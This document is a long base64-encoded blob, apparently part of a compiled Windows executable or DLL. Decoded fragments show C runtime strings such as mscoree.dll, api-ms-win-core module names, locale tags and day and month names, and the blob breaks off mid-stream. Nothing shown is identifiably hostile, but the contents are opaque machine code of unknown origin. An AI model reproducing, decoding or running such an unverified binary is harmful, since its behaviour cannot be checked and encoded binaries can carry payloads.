oyNjYyb3k2eUZGQ3FqYXM1NmtJMGxwZXAzOThCL3RQejBvQUNlYUEzQUFBQUFadWNVUEd0M01jc3JUMDROMDNHYzlCbmJlb0dxSnRSK1BJRHhLTGhVcUE2SXhEWHFYT0ZSTHJaRXM4REdJZHdtenJjVXVoU3N1Vk8reGNITDZaTnZ1SFhxd3BQN1dLTWUreTV6aUZBWnRRQWd4V2g1blhqelBJcEw0U0JBQUFBQU9RWGQyVDc5ZE54UFhhZzZTOFVmV1pNOURNdThianpqZzBQRTJtVVRIT29EeVpnUUJNQlBBcUljY3doTGFVMzc4bmFpclF4dTBKQlRQbldiQVdMeUxnQkJlSjg3WmRTeEdIRFlxclkyb2ZlNmpPNFlXandsTDJhekJOcTFjR05MUUVBQUFBQUVCUG9ObnJHbmlrVzlBby9TZlBQcHFWM295TytwSUpib3N3dmNoQTFmMFNkdnJnVHdxaE9Na3pKclRPZXZMcitySFl5SVV3dU1zMFRQclNSL25BMjJWeTdoWmNVUXYwYXpFYjQzVGptMG9jSGFSZlJBaHIrOGJVK3JxdTV3Mi91Q0J5K0FnQUFBQUFBUUtyQ1FJSFpkL2dzUGRmaGNaZ3Y1OVVKWTFGeTNSbW9yMFphS3RiTzNBSXEvdDFHem8wa0V5ZXQwaU8zR2JzRXhDdk1CcmZLNjdGSDNFc0puY29DM01XT1VlWXhnRmJEanFoWUx6UkNIZ1NMRk9XLy9oUDgvd1VQZVdObi9UYlZablpRNGJsaUJnQUFBR0d3WnhvS0FkTEE0UVhRTzNNUzJ6OHVuNlBpbmJKaDR0eGpLcndFSnBTYjFYQmhsaVhqd3JsMUN4UWhMQjBmWUdvVHVLSTcwb2x6ZmZGZzM5Zkt4aXZmYVFZM2g3Z2s3UWFUWnV0dVNSbHYyNDJUZFlKMFhqYWFic1V4dDVBMnhVSW95STU1cmlUZURnQUFBQUJrUWNHYWlOV1pMRVBaR3VlQW9pNDk5bXM5ZVVtQ1E2bm5lVXJtL1NLYWNOYmc3OC9LQmRla2piMXNBR1Rqczl4T3BXNElxS0dlUlk5MHlGU08vRmZHZE16VXc3aENibVBaVjh4YnRUWHAvaE5zWVZIRUd0dTZsYldkVHZHaFVPZjUzSEYvWXdjcm55L2VuU0lBQUFBQUFCQ0p2VjQ4VmpkMzR6aWp5ejFQbnRLQkxKNzNwSFRIK2NPWDV4eHFPT1Jmckp5TDh3ZjY3SWpWck1GYVBzN01yNFZ3UHgrZDAyMHQ2QXdZZlJkdmxHbGU0U3lPWkVnNW9aVVI0QTgwV0R3WHRKVDJTQ2U5VnlaOEx0cUxkYUNRZ0RzVHR0c3RrRWpQYlg0RTVDU1pVQUFBQUFBQUFBQUFBQUFBQUFBQ0FnQUFBd1VBQUFRSkFBRUVEUUFCQlJJQUFRWVlBQUlHSGdBQ0J5VUFBZ2d0QUFNSU5RQURDVDRBQXdwSUFBUUtVZ0FFQzEwQUJBeHBBQVVNZFFBRkRZSUFCUTZRQUFVUG53QUdENjRBQmhDK0FBWVJ6d0FIRWVBQUJ4THlBQWNUQlFFSUV4Z0JDQlV0QVFnV1F3RUpGbGtCQ1Jkd0FRa1lpQUVLR0tBQkNobTVBUW9hMHdFS0crNEJDeHNKQWdzY0pRSUxIUW9BQUFCa0FBQUE2QU1BQUJBbkFBQ2doZ0VBUUVJUEFJQ1dtQUFBNGZVRkFNcWFPd0FBQUFCdEFHa0FiZ0JyQUdVQWNnQnVBR1VBYkFCY0FHTUFjZ0IwQUhNQVhBQjFBR01BY2dCMEFGd0FhUUJ1QUdNQVhBQmpBRzhBY2dCbEFHTUFjZ0IwQUY4QWFRQnVBSFFBWlFCeUFHNEFZUUJzQUY4QWN3QjBBSElBZEFCdkFIZ0FMZ0JvQUFBQUFBQUFBQUFBQUFBQUFBQUFYd0JmQUdNQWNnQjBBRjhBY3dCMEFISUFkQUJ2QUhnQU9nQTZBR1lBYkFCdkFHRUFkQUJwQUc0QVp3QmZBSEFBYndCcEFHNEFkQUJmQUhZQVlRQnNBSFVBWlFBNkFEb0FZUUJ6QUY4QVpBQnZBSFVBWWdCc0FHVUFBQUFBQUFBQVh3QnBBSE1BWHdCa0FHOEFkUUJpQUd3QVpRQUFBQUFBQUFBQUFBQUFBQUJmQUY4QVl3QnlBSFFBWHdCekFIUUFjZ0IwQUc4QWVBQTZBRG9BWmdCc0FHOEFZUUIwQUdrQWJnQm5BRjhBY0FCdkFHa0FiZ0IwQUY4QWRnQmhBR3dBZFFCbEFEb0FPZ0JoQUhNQVh3Qm1BR3dBYndCaEFIUUFBQUFBQUFBQUFBQWhBRjhBYVFCekFGOEFaQUJ2QUhVQVlnQnNBR1VBQUFBQUFBQUFBQUFBQUFFQUFRRUJBQUFBQVFBQUFRRUFBUUVCQUFBQUFRQUFBUUVCQVFFQkFRRUJBQUVCQUFFQkFRRUJBUUVCQUFFQkFBRUJBUUVCQVFFQkFBRUJBQUVCQVFFQkFRRUJBQUVCQUFFQkFRRUJBUUVCQUFFQkFBRUFBQUVBQUFBQUFRQUFBQUVBQUFFQUFBQUFBQUFBQVFFQkFRRUJBUUVCQUFFQkFFbE9SZ0JwYm1ZQVNVNUpWRmtBQUFCcGJtbDBlUUFBQUU1QlRnQnVZVzRBU1FCT0FFWUFBQUJwQUc0QVpnQUFBRWtBVGdCSkFGUUFXUUFBQUFBQUFBQnBBRzRBYVFCMEFIa0FBQUJPQUVFQVRnQUFBRzRBWVFCdUFBQUFVMDVCVGlrQUFBQnpibUZ1S1FBQUFFbE9SQ2xwYm1RcEFBQUFBRk1BVGdCQkFFNEFLUUFBQUFBQUFBQnpBRzRBWVFCdUFDa0FBQUFBQUFBQVNRQk9BRVFBS1FCcEFHNEFaQUFwQUFVQUFNQUxBQUFBQUFBQUFBQUFBQUFkQUFEQUJBQUFBQUFBQUFBQUFBQUFsZ0FBd0FRQUFBQUFBQUFBQUFBQUFJMEFBTUFJQUFBQUFBQUFBQUFBQUFDT0FBREFDQUFBQUFBQUFBQUFBQUFBandBQXdBZ0FBQUFBQUFBQUFBQUFBSkFBQU1BSUFBQUFBQUFBQUFBQUFBQ1JBQURBQ0FBQUFBQUFBQUFBQUFBQWtnQUF3QWdBQUFBQUFBQUFBQUFBQUpNQUFNQUlBQUFBQUFBQUFBQUFBQUMwQWdEQUNBQUFBQUFBQUFBQUFBQUF0UUlBd0FnQUFBQUFBQUFBQUFBQUFBd0FBQUFBQUFBQUF3QUFBQUFBQUFBSkFBQUFBQUFBQUcwQWN3QmpBRzhBY2dCbEFHVUFMZ0JrQUd3QWJBQUFBRU52Y2tWNGFYUlFjbTlqWlhOekFBQkViUU9BQVFBQUFBQUFBQUFBQUFBQWtHMERnQUVBQUFBQUFBQUFBQUFBQUR5YUE0QUJBQUFBL0pvRGdBRUFBQUNNYlFPQUFRQUFBSXh0QTRBQkFBQUFOSndEZ0FFQUFBQ1luQU9BQVFBQUFEekJBNEFCQUFBQVdNRURnQUVBQUFBQUFBQUFBQUFBQU9SdEE0QUJBQUFBNUlFRGdBRUFBQUFnZ2dPQUFRQUFBQnlVQTRBQkFBQUFXSlFEZ0FFQUFBQ2dZUU9BQVFBQUFJeHRBNEFCQUFBQUNMd0RnQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBakcwRGdBRUFBQUFBQUFBQUFBQUFBT3h0QTRBQkFBQUFqRzBEZ0FFQUFBQjhiUU9BQVFBQUFGaHRBNEFCQUFBQWpHMERnQUVBQUFBQkFBQUFGZ0FBQUFJQUFBQUNBQUFBQXdBQUFBSUFBQUFFQUFBQUdBQUFBQVVBQUFBTkFBQUFCZ0FBQUFrQUFBQUhBQUFBREFBQUFBZ0FBQUFNQUFBQUNRQUFBQXdBQUFBS0FBQUFCd0FBQUFzQUFBQUlBQUFBREFBQUFCWUFBQUFOQUFBQUZnQUFBQThBQUFBQ0FBQUFFQUFBQUEwQUFBQVJBQUFBRWdBQUFCSUFBQUFDQUFBQUlRQUFBQTBBQUFBMUFBQUFBZ0FBQUVFQUFBQU5BQUFBUXdBQUFBSUFBQUJRQUFBQUVRQUFBRklBQUFBTkFBQUFVd0FBQUEwQUFBQlhBQUFBRmdBQUFGa0FBQUFMQUFBQWJBQUFBQTBBQUFCdEFBQUFJQUFBQUhBQUFBQWNBQUFBY2dBQUFBa0FBQUFHQUFBQUZnQUFBSUFBQUFBS0FBQUFnUUFBQUFvQUFBQ0NBQUFBQ1FBQUFJTUFBQUFXQUFBQWhBQUFBQTBBQUFDUkFBQUFLUUFBQUo0QUFBQU5BQUFBb1FBQUFBSUFBQUNrQUFBQUN3QUFBS2NBQUFBTkFBQUF0d0FBQUJFQUFBRE9BQUFBQWdBQUFOY0FBQUFMQUFBQUdBY0FBQXdBQUFCSlRrWUFhVzVtQUU1QlRnQnVZVzRBVGtGT0tGTk9RVTRwQUFBQUFBQUFBRzVoYmloemJtRnVLUUFBQUFBQUFBQk9RVTRvU1U1RUtRQUFBQUFBQUFBQWJtRnVLR2x1WkNrQUFBQUFaU3N3TURBQUFBQUFBQUFBc0ZnRWdBRUFBQUMwV0FTQUFRQUFBTGhZQklBQkFBQUF2RmdFZ0FFQUFBREFXQVNBQVFBQUFNUllCSUFCQUFBQXlGZ0VnQUVBQUFETVdBU0FBUUFBQU5SWUJJQUJBQUFBNEZnRWdBRUFBQURvV0FTQUFRQUFBUGhZQklBQkFBQUFCRmtFZ0FFQUFBQVFXUVNBQVFBQUFCeFpCSUFCQUFBQUlGa0VnQUVBQUFBa1dRU0FBUUFBQUNoWkJJQUJBQUFBTEZrRWdBRUFBQUF3V1FTQUFRQUFBRFJaQklBQkFBQUFPRmtFZ0FFQUFBQThXUVNBQVFBQUFFQlpCSUFCQUFBQVJGa0VnQUVBQUFCSVdRU0FBUUFBQUZCWkJJQUJBQUFBV0ZrRWdBRUFBQUJrV1FTQUFRQUFBR3haQklBQkFBQUFMRmtFZ0FFQUFBQjBXUVNBQVFBQUFIeFpCSUFCQUFBQWhGa0VnQUVBQUFDUVdRU0FBUUFBQUtCWkJJQUJBQUFBcUZrRWdBRUFBQUM0V1FTQUFRQUFBTVJaQklBQkFBQUF5RmtFZ0FFQUFBRFFXUVNBQVFBQUFPQlpCSUFCQUFBQStGa0VnQUVBQUFBQkFBQUFBQUFBQUFoYUJJQUJBQUFBRUZvRWdBRUFBQUFZV2dTQUFRQUFBQ0JhQklBQkFBQUFLRm9FZ0FFQUFBQXdXZ1NBQVFBQUFEaGFCSUFCQUFBQVFGb0VnQUVBQUFCUVdnU0FBUUFBQUdCYUJJQUJBQUFBY0ZvRWdBRUFBQUNJV2dTQUFRQUFBS0JhQklBQkFBQUFzRm9FZ0FFQUFBRElXZ1NBQVFBQUFOQmFCSUFCQUFBQTJGb0VnQUVBQUFEZ1dnU0FBUUFBQU9oYUJJQUJBQUFBOEZvRWdBRUFBQUQ0V2dTQUFRQUFBQUJiQklBQkFBQUFDRnNFZ0FFQUFBQVFXd1NBQVFBQUFCaGJCSUFCQUFBQUlGc0VnQUVBQUFBb1d3U0FBUUFBQURoYkJJQUJBQUFBVUZzRWdBRUFBQUJnV3dTQUFRQUFBT2hhQklBQkFBQUFjRnNFZ0FFQUFBQ0FXd1NBQVFBQUFKQmJCSUFCQUFBQW9Gc0VnQUVBQUFDNFd3U0FBUUFBQU1oYkJJQUJBQUFBNEZzRWdBRUFBQUQwV3dTQUFRQUFBUHhiQklBQkFBQUFDRndFZ0FFQUFBQWdYQVNBQVFBQUFFaGNCSUFCQUFBQVlGd0VnQUVBQUFCVGRXNEFUVzl1QUZSMVpRQlhaV1FBVkdoMUFFWnlhUUJUWVhRQVUzVnVaR0Y1QUFCTmIyNWtZWGtBQUFBQUFBQlVkV1Z6WkdGNUFGZGxaRzVsYzJSaGVRQUFBQUFBQUFCVWFIVnljMlJoZVFBQUFBQkdjbWxrWVhrQUFBQUFBQUJUWVhSMWNtUmhlUUFBQUFCS1lXNEFSbVZpQUUxaGNnQkJjSElBVFdGNUFFcDFiZ0JLZFd3QVFYVm5BRk5sY0FCUFkzUUFUbTkyQUVSbFl3QUFBQUFBU21GdWRXRnllUUJHWldKeWRXRnllUUFBQUFCTllYSmphQUFBQUVGd2NtbHNBQUFBU25WdVpRQUFBQUJLZFd4NUFBQUFBRUYxWjNWemRBQUFBQUFBQUZObGNIUmxiV0psY2dBQUFBQUFBQUJQWTNSdlltVnlBRTV2ZG1WdFltVnlBQUFBQUFBQUFBQkVaV05sYldKbGNnQUFBQUJCVFFBQVVFMEFBQUFBQUFCTlRTOWtaQzk1ZVFBQUFBQUFBQUFBWkdSa1pDd2dUVTFOVFNCa1pDd2dlWGw1ZVFBQUFBQUFTRWc2YlcwNmMzTUFBQUFBQUFBQUFGTUFkUUJ1QUFBQVRRQnZBRzRBQUFCVUFIVUFaUUFBQUZjQVpRQmtBQUFBVkFCb0FIVUFBQUJHQUhJQWFRQUFBRk1BWVFCMEFBQUFVd0IxQUc0QVpBQmhBSGtBQUFBQUFFMEFid0J1QUdRQVlRQjVBQUFBQUFCVUFIVUFaUUJ6QUdRQVlRQjVBQUFBVndCbEFHUUFiZ0JsQUhNQVpBQmhBSGtBQUFBQUFBQUFWQUJvQUhVQWNnQnpBR1FBWVFCNUFBQUFBQUFBQUFBQVJnQnlBR2tBWkFCaEFIa0FBQUFBQUZNQVlRQjBBSFVBY2dCa0FHRUFlUUFBQUFBQUFBQUFBRW9BWVFCdUFBQUFSZ0JsQUdJQUFBQk5BR0VBY2dBQUFFRUFjQUJ5QUFBQVRRQmhBSGtBQUFCS0FIVUFiZ0FBQUVvQWRRQnNBQUFBUVFCMUFHY0FBQUJUQUdVQWNBQUFBRThBWXdCMEFBQUFUZ0J2QUhZQUFBQkVBR1VBWXdBQUFFb0FZUUJ1QUhVQVlRQnlBSGtBQUFCR0FHVUFZZ0J5QUhVQVlRQnlBSGtBQUFBQUFBQUFBQUJOQUdFQWNnQmpBR2dBQUFBQUFBQUFRUUJ3QUhJQWFRQnNBQUFBQUFBQUFFb0FkUUJ1QUdVQUFBQUFBQUFBQUFCS0FIVUFiQUI1QUFBQUFBQUFBQUFBUVFCMUFHY0FkUUJ6QUhRQUFBQUFBRk1BWlFCd0FIUUFaUUJ0QUdJQVpRQnlBQUFBQUFBQUFFOEFZd0IwQUc4QVlnQmxBSElBQUFCT0FHOEFkZ0JsQUcwQVlnQmxBSElBQUFBQUFBQUFBQUJFQUdVQVl3QmxBRzBBWWdCbEFISUFBQUFBQUVFQVRRQUFBQUFBVUFCTkFBQUFBQUFBQUFBQVRRQk5BQzhBWkFCa0FDOEFlUUI1QUFBQUFBQUFBQUFBWkFCa0FHUUFaQUFzQUNBQVRRQk5BRTBBVFFBZ0FHUUFaQUFzQUNBQWVRQjVBSGtBZVFBQUFFZ0FTQUE2QUcwQWJRQTZBSE1BY3dBQUFBQUFBQUFBQUdVQWJnQXRBRlVBVXdBQUFBQUFBQUFRWFFTQUFRQUFBR0JkQklBQkFBQUFFRG9FZ0FFQUFBQ2dYUVNBQVFBQUFPQmRCSUFCQUFBQU1GNEVnQUVBQUFDUVhnU0FBUUFBQU9CZUJJQUJBQUFBVURvRWdBRUFBQUFnWHdTQUFRQUFBR0JmQklBQkFBQUFvRjhFZ0FFQUFBRGdYd1NBQVFBQUFEQmdCSUFCQUFBQWtHQUVnQUVBQUFEd1lBU0FBUUFBQUVCaEJJQUJBQUFBK0RrRWdBRUFBQUNRT2dTQUFRQUFBSkJoQklBQkFBQUFZUUJ3QUdrQUxRQnRBSE1BTFFCM0FHa0FiZ0F0QUdFQWNBQndBRzBBYndCa0FHVUFiQUF0QUhJQWRRQnVBSFFBYVFCdEFHVUFMUUJzQURFQUxRQXhBQzBBTVFBQUFBQUFBQUFBQUFBQUFBQmhBSEFBYVFBdEFHMEFjd0F0QUhjQWFRQnVBQzBBWXdCdkFISUFaUUF0QUdRQVlRQjBBR1VBZEFCcEFHMEFaUUF0QUd3QU1RQXRBREVBTFFBeEFBQUFZUUJ3QUdrQUxRQnRBSE1BTFFCM0FHa0FiZ0F0QUdNQWJ3QnlBR1VBTFFCbUFHa0FiQUJsQUMwQWJBQXlBQzBBTVFBdEFERUFBQUFBQUFBQUFBQUFBR0VBY0FCcEFDMEFiUUJ6QUMwQWR3QnBBRzRBTFFCakFHOEFjZ0JsQUMwQWJBQnZBR01BWVFCc0FHa0FlZ0JoQUhRQWFRQnZBRzRBTFFCc0FERUFMUUF5QUMwQU1RQUFBQUFBQUFBQUFBQUFZUUJ3QUdrQUxRQnRBSE1BTFFCM0FHa0FiZ0F0QUdNQWJ3QnlBR1VBTFFCc0FHOEFZd0JoQUd3QWFRQjZBR0VBZEFCcEFHOEFiZ0F0QUc4QVlnQnpBRzhBYkFCbEFIUUFaUUF0QUd3QU1RQXRBRElBTFFBd0FBQUFBQUFBQUFBQVlRQndBR2tBTFFCdEFITUFMUUIzQUdrQWJnQXRBR01BYndCeUFHVUFMUUJ3QUhJQWJ3QmpBR1VBY3dCekFIUUFhQUJ5QUdVQVlRQmtBSE1BTFFCc0FERUFMUUF4QUMwQU1nQUFBQUFBQUFCaEFIQUFhUUF0QUcwQWN3QXRBSGNBYVFCdUFDMEFZd0J2QUhJQVpRQXRBSE1BZEFCeUFHa0FiZ0JuQUMwQWJBQXhBQzBBTVFBdEFEQUFBQUFBQUFBQVlRQndBR2tBTFFCdEFITUFMUUIzQUdrQWJnQXRBR01BYndCeUFHVUFMUUJ6QUhrQWN3QnBBRzRBWmdCdkFDMEFiQUF4QUMwQU1nQXRBREVBQUFBQUFHRUFjQUJwQUMwQWJRQnpBQzBBZHdCcEFHNEFMUUJqQUc4QWNnQmxBQzBBZHdCcEFHNEFjZ0IwQUMwQWJBQXhBQzBBTVFBdEFEQUFBQUFBQUFBQUFBQmhBSEFBYVFBdEFHMEFjd0F0QUhjQWFRQnVBQzBBWXdCdkFISUFaUUF0QUhnQWN3QjBBR0VBZEFCbEFDMEFiQUF5QUMwQU1RQXRBREFBQUFBQUFBQUFZUUJ3QUdrQUxRQnRBSE1BTFFCM0FHa0FiZ0F0QUhJQWRBQmpBRzhBY2dCbEFDMEFiZ0IwQUhVQWN3QmxBSElBTFFCM0FHa0FiZ0JrQUc4QWR3QXRBR3dBTVFBdEFERUFMUUF3QUFBQUFBQmhBSEFBYVFBdEFHMEFjd0F0QUhjQWFRQnVBQzBBY3dCbEFHTUFkUUJ5QUdrQWRBQjVBQzBBY3dCNUFITUFkQUJsQUcwQVpnQjFBRzRBWXdCMEFHa0Fid0J1QUhNQUxRQnNBREVBTFFBeEFDMEFNQUFBQUFBQUFBQUFBQUFBQUFCbEFIZ0FkQUF0QUcwQWN3QXRBSGNBYVFCdUFDMEFhd0JsQUhJQWJnQmxBR3dBTXdBeUFDMEFjQUJoQUdNQWF3QmhBR2NBWlFBdEFHTUFkUUJ5QUhJQVpRQnVBSFFBTFFCc0FERUFMUUF4QUMwQU1BQUFBQUFBQUFBQUFBQUFBQUJsQUhnQWRBQXRBRzBBY3dBdEFIY0FhUUJ1QUMwQWJnQjBBSFVBY3dCbEFISUFMUUJrQUdrQVlRQnNBRzhBWndCaUFHOEFlQUF0QUd3QU1RQXRBREVBTFFBd0FBQUFBQUFBQUFBQUFBQUFBR1VBZUFCMEFDMEFiUUJ6QUMwQWR3QnBBRzRBTFFCdUFIUUFkUUJ6QUdVQWNnQXRBSGNBYVFCdUFHUUFid0IzQUhNQWRBQmhBSFFBYVFCdkFHNEFMUUJzQURFQUxRQXhBQzBBTUFBQUFBQUFkUUJ6QUdVQWNnQXpBRElBQUFBQUFBSUFBQUFTQUFBQUFnQUFBQklBQUFBQ0FBQUFFZ0FBQUFJQUFBQVNBQUFBQUFBQUFBNEFBQUJIWlhSRGRYSnlaVzUwVUdGamEyRm5aVWxrQUFBQUFBQUlBQUFBRWdBQUFBUUFBQUFTQUFBQVRFTk5ZWEJUZEhKcGJtZEZlQUFBQUFRQUFBQVNBQUFBVEc5allXeGxUbUZ0WlZSdlRFTkpSQUFBQUFCakFHTUFjd0FBQUFBQUFBQlZBRlFBUmdBdEFEZ0FBQUFBQUFBQVZRQlVBRVlBTFFBeEFEWUFUQUJGQUZVQVRnQkpBRU1BVHdCRUFFVUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBb0FDZ0FLQUFvQUNnQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQVNBQVFBQkFBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUNFQUlRQWhBQ0VBSVFBaEFDRUFJUUFoQUNFQUJBQUVBQVFBQkFBRUFBUUFCQUFnUUNCQUlFQWdRQ0JBSUVBQVFBQkFBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFCQUFFQUFRQUJBQUVBQVFBSUlBZ2dDQ0FJSUFnZ0NDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQVFBQkFBRUFBUUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlDQmdvT0VoWWFIaUltS2k0eU5qbytRa1pLVGxKV1dsNWlabXB1Y25aNmZvS0dpbzZTbHBxZW9xYXFycksydXI3Q3hzck8wdGJhM3VMbTZ1N3k5dnIvQXdjTER4TVhHeDhqSnlzdk16YzdQME5IUzA5VFYxdGZZMmRyYjNOM2UzK0RoNHVQazVlYm42T25xNit6dDd1L3c4Zkx6OVBYMjkvajUrdnY4L2Y3L0FBRUNBd1FGQmdjSUNRb0xEQTBPRHhBUkVoTVVGUllYR0JrYUd4d2RIaDhnSVNJakpDVW1KeWdwS2lzc0xTNHZNREV5TXpRMU5qYzRPVG83UEQwK1AwQmhZbU5rWldabmFHbHFhMnh0Ym05d2NYSnpkSFYyZDNoNWVsdGNYVjVmWUdGaVkyUmxabWRvYVdwcmJHMXViM0J4Y25OMGRYWjNlSGw2ZTN4OWZuK0FnWUtEaElXR2g0aUppb3VNalk2UGtKR1NrNVNWbHBlWW1acWJuSjJlbjZDaG9xT2twYWFucUttcXE2eXRycSt3c2JLenRMVzJ0N2k1dXJ1OHZiNi93TUhDdzhURnhzZkl5Y3JMek0zT3o5RFIwdFBVMWRiWDJObmEyOXpkM3QvZzRlTGo1T1htNStqcDZ1dnM3ZTd2OFBIeTgvVDE5dmY0K2ZyNy9QMysvNENCZ29PRWhZYUhpSW1LaTR5TmpvK1FrWktUbEpXV2w1aVptcHVjblo2Zm9LR2lvNlNscHFlb3FhcXJySzJ1cjdDeHNyTzB0YmEzdUxtNnU3eTl2ci9Bd2NMRHhNWEd4OGpKeXN2TXpjN1AwTkhTMDlUVjF0ZlkyZHJiM04zZTMrRGg0dVBrNWVibjZPbnE2K3p0N3UvdzhmTHo5UFgyOS9qNSt2djgvZjcvQUFFQ0F3UUZCZ2NJQ1FvTERBME9EeEFSRWhNVUZSWVhHQmthR3h3ZEhoOGdJU0lqSkNVbUp5Z3BLaXNzTFM0dk1ERXlNelExTmpjNE9UbzdQRDArUDBCQlFrTkVSVVpIU0VsS1MweE5UazlRVVZKVFZGVldWMWhaV2x0Y1hWNWZZRUZDUTBSRlJrZElTVXBMVEUxT1QxQlJVbE5VVlZaWFdGbGFlM3g5Zm4rQWdZS0RoSVdHaDRpSmlvdU1qWTZQa0pHU2s1U1ZscGVZbVpxYm5KMmVuNkNob3FPa3BhYW5xS21xcTZ5dHJxK3dzYkt6dExXMnQ3aTV1cnU4dmI2L3dNSEN3OFRGeHNmSXljckx6TTNPejlEUjB0UFUxZGJYMk5uYTI5emQzdC9nNGVMajVPWG01K2pwNnV2czdlN3Y4UEh5OC9UMTl2ZjQrZnI3L1AzKy93QUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFLQUFvQUNnQUtBQW9BQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRWdBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQUJBQWhBQ0VBSVFBaEFDRUFJUUFoQUNFQUlRQWhBQVFBQkFBRUFBUUFCQUFFQUFRQUlFQmdRR0JBWUVCZ1FHQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVRQUJBQUVBQVFBQkFBRUFDQ0FZSUJnZ0dDQVlJQmdnRUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkFnRUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkFnRUNBUUlCRUFBUUFCQUFFQUFnQUNBQUlBQWdBQ0FBSUFBb0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBSUFCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCSUJFQUFRQURBQUVBQVFBQkFBRUFBVUFCUUFFQUFTQVJBQUVBQVFBQlFBRWdFUUFCQUFFQUFRQUJBQUFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFSQUFBUUVCQVFFQkFRRUJBUUVCQVFFQ0FRSUJBZ0VDQVFJQkFnRUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkFnRUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkFnRVFBQUlCQWdFQ0FRSUJBZ0VDQVFJQkFnRUJBUUFBQUFDSWFnU0FBUUFBQUpocUJJQUJBQUFBcUdvRWdBRUFBQUM0YWdTQUFRQUFBR29BWVFBdEFFb0FVQUFBQUFBQUFBQjZBR2dBTFFCREFFNEFBQUFBQUFBQWF3QnZBQzBBU3dCU0FBQUFBQUFBQUhvQWFBQXRBRlFBVndBQUFEQUFBQUF4STBsT1JnQUFBREVqVVU1QlRnQUFNU05UVGtGT0FBQXhJMGxPUkFBQUFIVUFhd0FBQUFBQUFRQUFBQUFBQUFBd2VRU0FBUUFBQUFJQUFBQUFBQUFBT0hrRWdBRUFBQUFEQUFBQUFBQUFBRUI1QklBQkFBQUFCQUFBQUFBQUFBQkllUVNBQVFBQUFBVUFBQUFBQUFBQVdIa0VnQUVBQUFBR0FBQUFBQUFBQUdCNUJJQUJBQUFBQndBQUFBQUFBQUJvZVFTQUFRQUFBQWdBQUFBQUFBQUFjSGtFZ0FFQUFBQUpBQUFBQUFBQUFIaDVCSUFCQUFBQUNnQUFBQUFBQUFDQWVRU0FBUUFBQUFzQUFBQUFBQUFBaUhrRWdBRUFBQUFNQUFBQUFBQUFBSkI1QklBQkFBQUFEUUFBQUFBQUFBQ1llUVNBQVFBQUFBNEFBQUFBQUFBQW9Ia0VnQUVBQUFBUEFBQUFBQUFBQUtoNUJJQUJBQUFBRUFBQUFBQUFBQUN3ZVFTQUFRQUFBQkVBQUFBQUFBQUF1SGtFZ0FFQUFBQVNBQUFBQUFBQUFNQjVCSUFCQUFBQUV3QUFBQUFBQUFESWVRU0FBUUFBQUJRQUFBQUFBQUFBZ0FNSGdBRUFBQUFWQUFBQUFBQUFBTkI1QklBQkFBQUFGZ0FBQUFBQUFBRFllUVNBQVFBQUFCZ0FBQUFBQUFBQTRIa0VnQUVBQUFBWkFBQUFBQUFBQU9oNUJJQUJBQUFBR2dBQUFBQUFBQUR3ZVFTQUFRQUFBQnNBQUFBQUFBQUErSGtFZ0FFQUFBQWNBQUFBQUFBQUFBQjZCSUFCQUFBQUhRQUFBQUFBQUFBSWVnU0FBUUFBQUI0QUFBQUFBQUFBRUhvRWdBRUFBQUFmQUFBQUFBQUFBQmg2QklBQkFBQUFJQUFBQUFBQUFBQWdlZ1NBQVFBQUFDRUFBQUFBQUFBQXV